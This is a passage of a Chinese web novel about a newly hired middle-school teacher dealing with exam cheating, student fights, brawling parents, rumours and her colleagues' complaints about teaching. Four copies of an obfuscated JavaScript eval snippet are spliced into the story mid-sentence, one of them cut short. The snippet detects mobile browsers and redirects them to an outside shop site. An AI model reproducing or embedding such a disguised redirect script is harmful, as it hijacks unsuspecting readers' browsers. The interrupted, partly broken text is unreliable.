答题卡瞬间被挪回桌子中间,两人心虚地抬头,对上了肖遥似笑非笑的眼神后,又瞬间低下头。 被惊扰的其余学生见老师没有后续后,又继续低下头答题。 一直到考试结束,这两个男生都没有再意图作弊。 看来这个考场的学生还算听话。 虽然无聊,但好在这场考试顺利结束。 但到了下一个考场时,肖遥开始头疼了。 因为她看到了这个年级“赫赫有名”的学生,包括她的心腹大患。 这场一个半小时的英语考试,注定不会太平了。 试卷发下去后,肖遥巡查考场,提醒学生填好答题卡。 可偏偏这么简单的事情,就是有人不愿意完成,比如她的心腹大患。 “赶紧把班级、姓名和座位号、考号写上去。”肖遥走到邓昊杰的座位旁,小声提醒。 “好的,老师。” 嘴巴应得很好,可惜手依旧不动。 “不要浪费时间,快写。”肖遥的声音颇有些咬牙切齿。 “好。” 邓昊杰慢悠悠提笔写字。 肖遥懒得看他,她转过身,再次敲了敲另一边桌子。 “现在是考试时间,你睡什么睡。” 听到这句话,部分学生又开始莫名其妙地嘻嘻哈哈。 肖遥用威胁的眼神制止了ta们的笑声后,这个趴着桌子的年级“一哥”才悠哉游哉地抬起头,还伸了个懒腰。 似乎才刚发现老师站在他身边,他还状似被吓到了,捂了捂心口:“老师,你怎么在这里的。” 肖遥无视他的表演,面无表情道:“考试不要趴着,你要喜欢趴着睡觉,等会就去对面办公室,让你班主任看着你谁。” “哦~” 被班主任名头震住的“一哥”撇了撇嘴,继续吊儿郎当地坐着。 肖遥没眼看他,她只觉得这个教室的空气非常污浊,她要远离这些“污染体”。 英语考试的时间虽然比语文和数学少了半小时,但是无论是考试的学生还是监考的肖遥都觉得无比难熬。 不像语文,不会做也能胡编一通,老师可能还会给些同情分。 英语则不一样,不会就是不会,编也编不出来。 而这个班的学生显然都是成绩一般的学生。 不到半小时,就有一半的学生开始打哈欠,还有部分学生在“钓鱼”,部分学生则东张西望,意图作弊。 肖遥这一小时根本就没几次能安稳地坐下来。 她得不停地提醒那些准备睡觉的学生,还得走到意图讲话或作弊的学生旁边,以行动制止ta们。 肖遥忍着揍人的心,又再次站在了“一哥”和心腹大患的中间。 她看着两张基本答案相似却基本是错误答案的答题卡,皮笑肉不笑地问道:“你们两个年级倒数的是在互抄答案吗?” 听到这话的年级“一哥”立刻将答题卡拢进自己怀里,理直气壮地反咬一口:“老师,是他抄我的。” 肖遥的心腹大患用手指了指自己,脸上又是无辜的表情:“我?” “当然是你。你抄我的。” “我cnm,你抄我好不好。” “我这么厉害,怎么可能抄你?” “......” 旁边的学生见状,又开始嘻嘻哈哈了。 又是这样,肖遥快要气炸了。 她恨不得把这两个卧龙凤雏扔出教室。 好在,这个时候,“一哥”的英语老师兼班主任来了。 她是来巡查学生的做题情况。 还没进教室,她就听到她那个心腹大患的声音。 一进教室就看到肖遥脸色难看地站在自家“问题学生”的面前。李老师明白,他又开始搞事情了。 她眼神示意肖遥,她来处理。 肖遥见状松了口气,快步走回讲台。 只见李老师走到“一哥”面前,用力地拍打他的手臂,恶狠狠地骂道:“你要是不想上学,我让你爸再过来把你接回去。” “每天就知道惹事,你当自己是谁啊,古惑仔?小学就换了4个学校,初一刚开学1个月就换了两个学校。” “你再惹是生非,被学校开除了,我看哪个学校还收你。” “你下课来找我。” 李老师警告的话语震住了这个年级“一哥”,他像个鹌鹑一样低着头,屁都不敢放一个。 旁边的邓昊杰也被自己英语老师瞪的那一眼吓住了,同样喜收一句:“你也是。” 其余学生亦低着头沉默,不敢触碰老师的怒火。 肖遥的唇角忍不住翘起,内心止不住地给李老师点赞。 还得是老教师。 肖遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239883|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始的想法很理想,严慈并济,让学生怕她。 但很显然,这招对那些“问题学生”没用。 对付这些学生,要比ta们更不要脸。 这是道法赵老师告诉她的管理学生的办法,尤其是对付那些喜欢开黄腔的男学生。 他们心理素质一般,但他们不怕找家长,却怕在同学面前丢人。 可肖遥的性格导致她做不到跟学生互骂,通过骂得更狠的方式来震慑学生。 因此,遇到这种难搞的学生,她只能跟班主任反馈,让班主任来帮忙。 班主任大多都有着丰富的管理班级和学生的经验,ta们懂得如何抓住学生的弱点。 肖遥真的很佩服,也越发意识到自己真的干不了班主任工作。 ...... 距离考试时间只剩15分钟,但考场还是鸦雀无声。 只有几个学生在东张西望,试图再挣扎挣扎,提高自己的分数。 肖遥认得这几个学生,在班里沉默寡言。她除了用眼神提醒ta们外,没再做出别的行为。 因为考前,年级主任提醒所有老师,在考场上睁一只眼闭一只眼。 只要学生没有明目张胆地扔纸条抄袭,那就不管了,也算ta们的本事。 为什么呢? 这是因为之前曾经抓了一个考试作弊的学生,班主任告知家长后,家长来学校把这个学生骂得狗血淋头。 结果学生想不开,爬上学校天台扬言要跳楼。 把学校领导和班主任吓了一跳。 虽然最后学生没出事,但是家长反手就向相关部门投诉了学校。 最后的结果是什么,年级主任没说。 但是从那以后,学校领导便在私下里告诉老师,只要学生没有明目张胆的作弊,老师们就不用管。 哪怕作弊了,也要温和地教育学生。 唉。 考试作弊还不能批评学生了。 这叫什么事? 这还是教育吗? 肖遥不懂。 ...... 持续两天的考试终于结束了。 也迎来了老师最烦燥的时候。 改试卷。 七八九年级的试卷由不同学部的老师们互改,肖遥以及道法赵老师和美术组的老师负责八年级的道法改卷。 看着这些大题,肖遥头都大,只能硬着头皮改。 可惜她越改越气。 “请结合材料并运用所学知识,谈谈未成年人应如何理性参与网络生活?” “这不是很好答吗?” “这个学生居然只写了个答?” 道法赵老师拿起旁边的试卷安抚道:“你看我这个,写了还不如不写。” “材料告诉我们,从奉献社会的角度,我们要如何做一个有责任有担当的人?” “少打游戏 少ma人 要遵纪手法” “......” 上面大大一个叉,还被赵老师圈出了错别字。 肖遥哭笑不得。 她似乎终于明白过去老师们常说那句话了。 上辈子杀猪,这辈子教书。 原来是上辈子杀的猪,这辈子回来报复ta们了。 唉。 9. 疯癫的学生1 月考改卷持续了两天。 肖遥坐在电脑前,给她带的5个班做考试质量分析。 满分100,年级均分63,她带的5个班均分是61。 道法赵老师出的试卷不难,谁曾想一届学生不如一届,考得跟狗屎一样。 估计年级月考会议她又要被领导批了。 肖遥倒对这个成绩无所谓,毕竟她是新教师,与学生还处于磨合期。 而且她带的班级只有两个重点班,另外3个班的生源差得要死,不然也不会扔给她一个刚毕业的新教师。 欸? 肖遥想起一件事。 当时系统有说评判她做老师及格的标准是什么吗? 她把系统喊了出来。 “亲,首先是看成绩,这个体现了你的教学专业水平。不能太差,起码期末年级均分要及格吧。” “其次,家长和学生的投诉不能太多,我们要处理好师生和家校共育的关系。” “最后,我们重点考察教师的师德师风,收集领导、同事对你的评价。” 肖遥:...... 肖遥:“生源的不同,考试程度的难易都会影响成绩,你让我怎么能保证期末一定能考好?” 系统:“所以我们只看年级均分哦。(^v^)” 系统:“毕竟家长送孩子来上学,特别是民办学校,总要看到成绩吧。” 肖遥:...... 肖遥:“奇葩家长和学生那么多,我怎么保证事事如ta们所愿?让ta们不投诉?” 系统:“所以说了嘛,只要投诉不多,影响不大就行了。我们深知,没有一个教师能够做到0投诉。(^v^)” 肖遥:...... 肖遥:“师德师风还得看领导评价?万一ta对我不爽,直接跟我打个叉,那我不就一学期了白干?” 系统:“......” 系统:“亲,我认为只要你没有把领导打一顿,或者把领导家搞得家破人亡,应该没哪个领导会直接打叉的。(^v^)” 肖遥:...... 肖遥:“那如果评价不及格呢?我还得再干一学期?” 系统:“亲,一般大家培训了一学期都能及格的。少数不及格的人会被投放到另一个场景再继续培训一遍。” 系统:“亲,我相信你,你已经熬过去一个月了,你可以的!(^v^)” 肖遥:...... 肖遥看着眼前的系统,她觉得自己进了人贩子窝,逃不出去还被pua。 她咬咬牙。 不就一学期嘛,她忍。 她一个师范生去中学实习还没钱呢,现在还有钱拿,也可以了。 肖遥叹了口气,继续完成她的质量分析。 ...... 肖遥上完第三节课,回到办公室继续改作业。 5个班的学生,作业量可不少。 此时,美术何老师又带着她的瓜过来了。 “肖老师!告诉你个八卦。”美术何老师一脸神秘地凑过来。 “八年级和七年级的两个男生打架了!” 肖遥手下的红笔不停:“我知道,刚刚上课,学生跟我说了。” “是707班的学生和801班的学生,听说是为了女生打架的。” 学生打架很正常,尤其是初中生处于叛逆期,肖遥基本每天都能听到学生打架的事情。 “嘻嘻嘻,这个事情还有后续呢。” 看肖遥终于感兴趣地抬起头,美术何老师继续分享。 “听说这两男生同时追七年级的一个女生,八年级的成功和女生在一起了。七年级的男生就看八年级的不顺眼,今天早上在饭堂吃早餐时,两人遇见了,七年级的推了一把八年级,差点就打起来了。” “刚刚大课间做操,两个人又碰上了。估计八年级的不服气,做完操后就把七年级的推倒在地,然后两个人就扭打起来了。” “幸好体育老师和班主任刚好在,把他们拉开了,一问才明白了。” “两人打得不轻,所以两个班主任立刻把家长喊了过来。” “你知道两个人的家长过来后,做了什么事情吗?” 肖遥看着何老师一脸“你快猜”的神情,笑着配合道:“骂了一顿?” 何老师摇摇头。 “不会把班主任骂了一顿吧?” 何老师又摇了摇头,她憋着笑说出答案:“两个人的家长打起来了?” 哈? 家长打起来了? 肖遥一脸的震惊:“为什么会打起来啊?我记得这两个学生之前也惹过很多事,他们家长不是不管的吗?” 美术何老师也是一脸的疑惑:“对啊。我当时路过政教处,听了一耳朵。本来在班主任的调解下,氛围还好好的。结果不知怎么的,两个人就突然打起来了。幸好保安和政教处的魏主任在,勉强拉开了。不然就两个女老师在,可” 肖遥皱眉,什么奇葩家长,情绪这么不稳定。 “班主任没受伤吧。” 美术何老师收了收笑容,同情地说道:“没受伤,只是最后报警了,葛老师和沈老师去了派出所做笔录。” “所以,等会第四节我得替沈老师代课。” 肖遥无比庆幸自己当初没答应当班主任。 这年头,干班主任还干去派出所了? ...... 第五节没课,肖遥和道法赵老师一同去了饭堂。 不少老师都在讨论着“家长互殴”的奇闻。 也这时,见证了全过程的葛老师和沈老师也终于从派出所回来了。 两人端着盘子刚坐下,道法赵老师就赶紧向她们询问整个事件。 出乎肖遥的意外,这事居然还有后续。 “神经病学生,神经病家长。” 707班的班主任葛老师和801班的班主任沈老师难得的异口同声。 葛老师满脸的疲惫,一张口就是沙哑的声音:“郑尚勤这个死学生,整体给我惹事情。不是骂老师,就是跟其他人打架。” “今天早上本来就是郑尚勤先动手推人,余和课间也推回他。结果他给了余和一脚,两个人就扭打起来了。” 道法赵老师:“他们有受伤吗?” 沈老师忍不住破口大骂:“受个屁,他们牛高马大的,当时还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239884|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有我们拦着,压根没受伤。” “这两家长过来后,就开始粗口连篇,先骂两儿子。再骂我们,说学校没管好他儿子。接着两人又开始互骂。” 葛老师:“我们好不容易劝和了,郑尚勤好死不死又来了一句:‘他抢我女朋友。’他爸也是个奇葩,没问清楚缘由直接对着余和的家长一巴掌扇了过去。” 葛老师摊了摊手,无奈道:“两个人就在政教处打起来了。” 沈老师恶狠狠地吃下一块鸡肉:“两儿子还看热闹不嫌事大,旁边给自己老子加油呢。” “最后,政教处魏主任就报警了。我们五个就去了派出所。” 葛老师直摇头,感慨道:“我从教这么多年,因为学生在街上打架去过派出所,这还是头一次因为家长打架去的派出所。” 沈老师放下筷子:“我也是。” “而且最可恨的是什么?我把传闻中和余和传绯闻的女生叫过来问了,人家压根就没答应余和的追求。是余和一厢情愿,在外面吹嘘自己追到手了。” 沈老师忍不住爆了个粗口:“艹他大爷的。” “我还问了好几个学生,都说女生和余和走得不近。那个女生知道自己莫名其妙沾上这个事情了,都哭得不行了,说要找家长。” 沈老师一脸的生无可恋:“我和她班主任说了这事,下午女生的家长就会过来,我还得把余和家长再叫过来处理这事。” 道法赵老师叹了口气,遇到这种学生真的是班主任倒大霉了。 遇到这样莫名其妙的造谣,那个女生也是惨。 她看了看周围,小声问道:“那学校怎么处理这事?这两学生可不是第一次打架了,之前还考试作弊,还辱骂老师,现在还造谣同学,学校还不能开除或劝退吗?” 说到这个,葛、沈两位老师就来火。 葛老师:“校长不同意,说要用爱感化学生,不能随便开除。让班主任和家长再好好沟通,争取让学生改过自新。” “天天就知道用爱感化,有本事他去啊。” 沈老师:“我呸,我看他是怕学生走了,又少赚了一笔。反正又不是他教,他才不管我们的死活。” “还有政教处的魏主任也一直在和稀泥,明明他负责处理学生的问题,结果什么都让班主任来,那他这个主任干脆让我们来做算了。” “他最后拍板,让两个学生停学一周,回家反省。” 肖遥忍不住出声:“可是上完明天,我们就放8天的小长假了呀?这个停学一周是指放完假后还要继续停吗?” 沈老师冷笑一声:“呵,学校意思是上完今天就回家,等假期后再回来,周一升旗再通报批评。” 肖遥:...... 这样的停学反省有意义吗? 难怪现在的学生越来越嚣张。 原来ta们知道,没人能管ta们,未成年+学生这两个title是ta们最好的保护罩。 似是看出肖遥脸上的一言难尽,道法赵老师拍了拍肖遥的肩膀:“这样的事多了去了,习惯就好。” 肖遥暗暗摇头。 疯癫的学生。 可怕的家长。 唉。 10. 疯癫的学生2 假期前的最后一个工作日。 肖遥终于改完了堆积的作业,把假期后回来要检查的教案写完了。 教师和学生们都悠哉游哉的,整个学校都在等待着8天假期的到来。 肖遥以为今天会是个安宁的日子。 可惜,她高估了这些学生。 一天不搞事就不是ta们了。 第一节刚上课,703班的班主任钱老师就黑着脸走进教室,跟肖遥打了个招呼,就把两个学生叫走了。 一直到下课,两个学生都没回来。 肖遥随口问了一句她们的同桌:“你们知道她们两个怎么了吗?” 学生眼里闪烁着八卦:“老师,昨晚她们两个和10班的女生在宿舍打起来了。” 另一个学生积极分享:“就因为707班的郑尚勤!” ? 昨天的事情还有后续啊。 肖遥不解:“为什么会因为他打起来?” 听到肖遥的问题时,不少学生已经围了过来。 其中一个男生哈哈大笑:“因为刘安倩喜欢郑尚勤,但是郑尚勤喜欢10班的黎千千。” 跟刘安倩同宿舍的女生小声告诉肖遥:“好像是郑尚勤被黎千千拒绝了,昨天还和余和打架了。所以刘安倩看黎千千不爽,就叫上王禾莉去黎千千的宿舍,听宿管说是打架了。” 肖遥皱眉不语。 都是什么跟什么啊。 她快步离开教室,准备上下一节704班的课。 可等她去到教室,好嘛。 704班的班主任韩老师正在班里大骂学生,其中有三个男生和两个女生低着头站着,显然是被骂的主对象。 看到肖遥站在门口,韩老师才收了收怒火,跟她打了个招呼。 “肖老师,我带几个学生去办公室处理一下事情。” “好的。” “你们几个过来。” 站着的5个学生耷拉着头,一个接一个地走出教室,其余学生则沉默地低着头。 看来今天的事情很多啊。 肖遥暗暗摇头。 同样直到下课,这5个学生都没回来。 七年级教师办公室就在学生教室对面。 肖遥讲课期间,还能依稀听到韩老师的骂声: “你们没脑子吗?别人说什么就是什么了?” “......” “你们这是造谣啊!” “课不好好上,就喜欢八卦别人的事情。” 肖遥:...... 好像有被内涵到。 ...... 下课铃一响,肖遥便快速结束课堂。 布置了假期作业后,她就赶忙回到办公室。 她迫不及待地想要知道发生了什么事。 可惜,“百事通”美术何老师去了行政办,历史陈老师也不在办公室。 肖遥决定直接过去隔壁办公室吃瓜,也恰巧班主任们都在讨论这件事。 肖遥东拼西凑,才拼出整个事情。 原来昨天郑尚勤和余和打架是个引子,引出了一系列的学生违规。 707班的郑尚勤和801班的余和喜欢7010班的黎千千,但是黎千千不喜欢他们,直接拒绝了两人。 但是余和被拒绝后不甘心,所以他和其他人吹嘘两个人已经谈恋爱了。 恰巧704班有个男生的哥哥在801班,他就把这事当八卦告诉了自己的弟弟。 初一的学生正处于叛逆期,不知天高地厚,好面子又八卦,嘴还碎。 因此,704班的男生就把这事当作谈资,告诉了跟他玩得好的两个男生和女生。 704班的5个人就开始了造谣式传言,到处跟别人说余和和黎千千谈恋爱了,甚至还说两个人在厕所亲嘴。 707班的郑尚勤听到后就不爽了,也就有了后来的打架和两个爸爸进派出所的事情。 而703班的刘安倩喜欢郑尚勤,知道郑尚勤因为黎千千和余和打架,还要被停学一周。因此,昨天晚上宿舍熄灯后,刘安倩和她的好友王禾莉偷摸去了黎千千的宿舍,扬言要“教训”黎千千。 肖遥知道黎千千,她是这次月考的年级第一,是个文文静静的学霸,平时专注于学习,也很少跟其他同学闹矛盾。 当天知道自己被别人造谣,她本来心情就不好,结果晚上在宿舍还要被莫名其妙的人骚扰。 一向平和的黎千千瞬间爆炸了。 她和她的室友“反围殴”了两人,直到宿管到来。 但其实几个女生们也就推推攘攘几下,并没有下重手。 宿管知道了,立刻通知了两个班的班主任。 校医和班主任检查过后,除了头发乱点,几个人都没有受伤。 两个班主任以为是女生之间的摩擦,因此没有太在意,就放她们回去睡觉,都打算今天再来解决。 结果当晚,宿舍又出事了。 703班的王禾莉想帮好朋友教训别人结果反被教训,还被班主任骂了一顿。 她气不过,于是偷偷用手机告诉她在6班的好朋友李子雨,打算再呼朋唤友,重整旗鼓,再干一场。 可李子雨回信息时候的亮光被宿管发现了,宿管还抓到了跟她同宿舍的陈可为。 她也带了手机,还拿手机看黄片。 宿管将手机没收了,并告知了706的班主任马老师。 706的班主任马老师同时也是七年级的年级主任,经验老道。 她循循善诱,就问出了不仅她们带了手机,而且701班的年级“一哥”和702班的邓昊杰等几人都带了手机。 而且,也是他们将黄片发给李子雨几人。 宿管便突击几人的宿舍,正好抓个正着。 马老师狠狠地批评了几人,同样打算第二天再来解决这个事情。 结果,第二天早上晨跑的时候,“一哥”和邓昊杰知道自己是被李子雨和陈可为“出卖”了,便叫嚣着要教训她们。 李子雨和陈可为心理素质一般,听到几个男生放出的狠话,顿时被吓到了。 吃过早餐后,两人都没回教室早读,而是偷偷回了宿舍。 两人又是抱头痛哭,又是要相约跳楼。 由于两人没参加早读被班主任发现,因此宿管过去巡查后,才发现两人的不对劲。 而经过马老师的审问,才知道了上面的一连串事情。 所以钱老师才会在第一节把两个女生叫走问话。 所以韩老师才会在第二节怒骂学生。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239885|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她还由此知道了九年级在谈的两对情侣,是ta们在厕所亲嘴,被704班的学生看见了,704班的学生添油加醋把事情混在了一起传谣。 所以今天早上的七年级办公室和政教处可谓是鸡飞狗跳,站了一排排的学生,办公室里充斥着班主任愤怒的声音。 知道真相的肖遥:...... 啧啧啧,没想到这假期前的最后一天还能这么精彩。 一环扣一环,堪比电视剧啊。 肖遥看着一边忙着批评学生,一边忙着打电话给家长的班主任,叹了口气,远离了这个战场。 年级主任马老师骂人骂得嗓子都哑了:“全都是不省心的家伙。” 悲催的宿管, 悲催的班主任, 还有悲催的黎千千。 这小女孩是真的惨。 回到办公室的肖遥把整个事情告诉了美术何老师和历史陈老师。 两人听完后都是一言难尽的脸色。 历史陈老师恍然大悟:“我说今天上课,怎么少了几个人,原本是因为这事被抓过去的。” 美术何老师若有所思:“欸,那学生没骗我欸。我刚刚下课的时候,就有学生跟我讲了这些八卦。” 肖遥大吃一惊:“学生知道这么多啊。” 历史陈老师:“别说了,学生的消息比我们还灵通,知道的更多。” 美术何老师小声透露:“我还听说政教处的魏主任在学生中间安插了自己人。” 肖遥:“嚯,无间道啊。” 美术何老师调侃道:“不然马主任怎么那么快就清楚这么多事情。” 肖遥:“那这些学生会有什么处罚吗?” 历史陈老师耸了耸肩:“按照以往,通报批评,告诉家长教育一下就完事了。” 肖遥眉头皱起:“那这样根本震慑不住学生啊。” 美术何老师慢悠悠地喝了口茶:“魏主任就是这样和稀泥的,他知道了不代表他要管。或者说,他会直接把责任推给班主任。” 肖遥:...... 没用的主任。 肖遥:“这些学生居然能把手机带进来,回校不是会检查行李吗?” 历史陈老师:“学校可不会搜身检查,只会搜明面上的违禁品。而且这些学生可聪明着了,有的会在衣服里面藏手机,你总不能每件衣服都搜吧。” “我觉得最恶心的还是在宿舍看黄片。” 历史陈老师神情难看:“七年级开黄腔的学生越来越多了,我现在一看到这些男学生的脸,听到他们嘻嘻哈哈的笑就觉得反胃。” “我总觉得他们的视线不怀好意。” 美术何老师:“我听隔壁的班主任说,这些学生在宿舍里更恶心,只是不好说出来。” 历史陈老师立刻打住何老师的话头:“停停停,别说了,我不想污染我的耳朵。” 肖遥立刻跟上:“+1” 美术何老师笑着摇了摇头,表示理解:“见多了也就习惯了。” 看着美术何老师云淡风轻的样子,肖遥表示佩服。 她还是无法坦然面对这些学生,明明很多人看着都是乖巧懂事的孩子,怎么背后是这个样子? 唉,她还是想想自己的假期怎么过吧。 11. 教师的烦恼1 桌面的平板传来综艺人的笑声。 而平板的主人正躺在沙发上一边刷手机,一边啃香辣鸡翅。 朋友圈里的同事晒出了自己八天假期的美照,不是旅游就是聚餐。 肖遥歪头吸了口冰可乐,手还不停地给她们逐个点赞。 八天的假期,如果是在现实世界,肖遥早就和室友们出去浪了。 可惜了。 这一个月的“上班”让肖遥精疲力竭,她觉得自己被掏空了,毫无出去玩的欲望。 肖遥又啃了口鸡翅。 还是躺着吧。 躺着舒服。 ...... 来到办公室的肖遥两眼无神,在宿舍躺了八天的她还不适应上班的时间。 同样的,学生也目光呆滞,哈欠连天。 大家都浑浑噩噩地渡过了调休上课的第一天。 一边改着假期作业的肖遥,一边吃着同事给的零食和水果,一边听着ta们分享自己的假期生活。 “我和男朋友去了A市海洋度假区,好多人,根本没玩到什么,早知道呆家里好了。”美术何老师语气颇有些后悔。 另一位初中美术周老师神色郁闷:“我倒是回老家了,结果结婚请柬一个接一个,我一个月工资快要没了。” “所以我自己留在了出租屋,躺了八天,舒服。”单身独居的历史陈老师则一脸笑嘻嘻的模样,显然对八天假期很满意。 美术何老师看向肖遥,她知道肖遥假期呆学校宿舍里,因此也询问道:“肖老师自己呆学校如何呀,无不无聊?” 肖遥不在意地摇摇头:“还好,我就在宿舍看看综艺,也出门跟陈老师打卡了好几家网红餐厅。” 旁边的历史陈老师连忙点点头:“跟你们说,千万要避雷这几家店......” 八天的假期,肖遥也不是完全不出门。她接受了历史陈老师的吃饭邀请,出门吃了很多顿漂亮饭。 也因此,八天的假期使得她的工资少了三分之一。 说到工资。 肖遥的工资是在放假当天的傍晚打到银行卡里的,她以为要等到下个月中。 虽然工资没有达到想象中的预期数字,但对于她这个还未正式工作的大学生来说,已经不错了,好歹能满足她自己的日常消费。 毕竟肖遥听过以往毕业的师姐师兄提过,她们的工资很多也就6000、7000,甚至少的也就4000出头。 肖遥一开始还不相信,以为师姐师兄在开玩笑,直到看到了她们的工资条。 肖遥:...... 说好的工资过万呢?怎么就这点? 肖遥和她的同学都震惊了,一个教师的工资怎么能低到这种程度呢? 她知道这几个师姐师兄自从上班后,就很少发朋友圈,发了也是跟工作相关的负面情绪。 她还以为她们能拿很多工资,毕竟在她的观念里,多劳多得? 可惜师姐师兄的分享打破了她的传统观念。 “碗是铁的,饭是馊的。”一位师姐目光无神地说道:“我真后悔当初选了师范专业,也不应该考教师编。” 肖遥与这位师姐不仅同专业,还是同一个社团,所以关系很好。 她记得这位师姐在校期间意气风发,各种奖学金拿到手软,毕业去了首都一所著名的中学,大家当时都很羡慕。 可才半年不见,她的眼神呆滞,整个人死气沉沉的,没有了当初的斗志昂扬。 “我也后悔,我家里人总说体制内好,考上了就岁岁无忧。呵,那是公务员好,跟我这个教师可没什么关系。” 另一位与师姐同届的师兄也是满脸的憔悴,正气愤地分享他自己的遭遇:“我是小学老师,不是保姆啊。自从当了班主任,我就仿佛成了整个班的保姆加法官。” “每天给这个小孩穿衣服,提醒那个小孩喝水。学生因为一根铅笔吵架了,我还得哄着他们。” “早上早起去食堂验菜,中午给学生打饭,等学生吃完我还得看学生睡午觉,下午放学得等家长来接小孩。下班了我还要忙班级文化工作。” 与师兄同班的另一位师姐有气无力地接上:“还得给家长反馈学生在校的情况。关键是,你反馈了,家长不信。死活要说自己孩子没问题,是老师的问题。等查了监控,又反口说误会了,一句道歉也没有。” 目光无神的师姐:“而且学校的领导还很恶心,搞小团体就算了。整天在办公室琢磨着各种活动,名声是他们的,活全是我们基层老师干。我每天都很忙,但是都不知道在忙些什么。我反而觉得上课才是我的轻松时刻。” 憔悴的师兄:“工资还不高,我累死累活还不如那些领导拿得多。我那些亲戚知道我当老师了,还在那里阴阳怪气我,说我工资高事情少假期多。呵,谁曾想我工资加起来才6500,而且假期留校值班我可没钱拿。” 有气无力的师姐:“呵,地方不同,待遇当然不同啊,拿发达地区的工资待遇来跟我们这些贫穷落后的地方比,怎么比!” “还有人拿老教师的一万多工资来说我们平均工资高,呵,这些人是不知道啊。老人老办法,新人新办法。时代红利早过去了,我们新教师就是一群牛马。干活的时候就是青年教师,要多付出。拿奖的时候就是老教师,资历高,他们优先。” 目光无神的师姐:“我每次跟亲友吐槽,个个都觉得我身在福中不知福。我爸还以为我每天坐办公室很悠闲,每天就上两节课,下课就能回宿舍躺着。” 憔悴的师兄:“现实就是每天忙到飞起,教学外的什么事情都找我们。学生家里没交社保、医保要我们催,疫苗没接种要我们统计。” 有气无力的师姐:“还要提醒家长防电诈,督促学生在家学习禁毒知识,休息日还要搞家访,连灭蚊都要教师来。” 目光无神的师姐:“别提了,我有个同学在乡镇,他还得去巡视河边,以防学生溺水。” 有气无力的师姐:“我每每扛不住想辞职的时候,我亲友又劝我熬一熬。我又想了想5万的违约金,算了,我赔不起,我只能pua我自己忍忍吧。我觉得我就像很多被家暴的人想的那样,它不打我的时候,还是挺好的。” 憔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239886|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悴的师兄:“有人还骂我们不想干就别干,有的是人干。还说以后AI推行了,就不再需要教师了。” 目光无神的师姐:“得了吧,教师就跟会计一样,谁都顶替不了。毕竟没了教师,谁来背锅?谁来承担社会的怨气?那些不要脸的家长又如何一键提现?” 有气无力的师姐:“我实在是不理解,明明社会上有那么多高薪职业,比如公务员工资待遇比我们好多了,怎么每次骂教师行业的声音就特别大?” 憔悴的师兄:“谁知道呢?” 目光无神的师姐:“谁知道呢?” 有气无力的师姐&目光无神的师姐&憔悴的师兄:“唉~” 目光无神的师姐:“我还遇到了性别歧视。” 有气无力的师姐:“+1,教育行业的性别歧视可太严重了。我去校招的时候,不少校长直接说了,优先男生,有的甚至只招男生。委婉点就会说,学校缺男教师。” 憔悴的师兄:“......没有吧。” 目光无神的师姐:“搞活动、评奖的时候都是男的优先,连晋升也是,你看管理层有多少是女性?” 憔悴的师兄:“欸,我这边的领导不少都是女领导。” 有气无力的师姐:“呵,你得看整个区镇的比例。” 憔悴的师兄:“......” 目光无神的师姐:“还有教学工作也是。我们学校那些家长啊,见人下菜,对着男教师说话就客客气气的,对着女教师,嘴巴什么脏话都能说出来,一股子鄙视。” 憔悴的师兄:“......” 有气无力的师姐:“我们还得提防着那些喜欢胡思乱想的家长。我作为班主任,都不敢轻易加男家长的微信,就怕别人说我勾引。而且连发个信息都得挑时间,就怕这些男家长乱七八糟想一通。” 憔悴的师兄:“......” 目光无神的师姐:“然后就会有人说,怎么联系家长只联系妈妈奶奶。我呸,为什么只联系她们,自己心里没点数吗?一是防止造黄谣言,二是爸爸爷爷管孩子吗?” 憔悴的师兄:“他们不管!!!问什么都是找孩子妈妈。我班级甚至还有爸爸妈妈都不管的,所以是姑姑进班级群。” 有气无力的师姐:“你说这些人不管孩子,干嘛要生呢?生完直接扔学校,是想着学校和社会帮这些人养大孩子,然后他们直接摘果子?” 憔悴的师兄:“谁知道呢?” 目光无神的师姐:“谁知道呢?” 目光无神的师姐:“网友们说得好啊,教师就是社会的家庭主妇。” 有气无力的师姐:“教师就是社会的家庭主妇。” 憔悴的师兄:“......我是男的。” 有气无力的师姐&目光无神的师姐:“......” 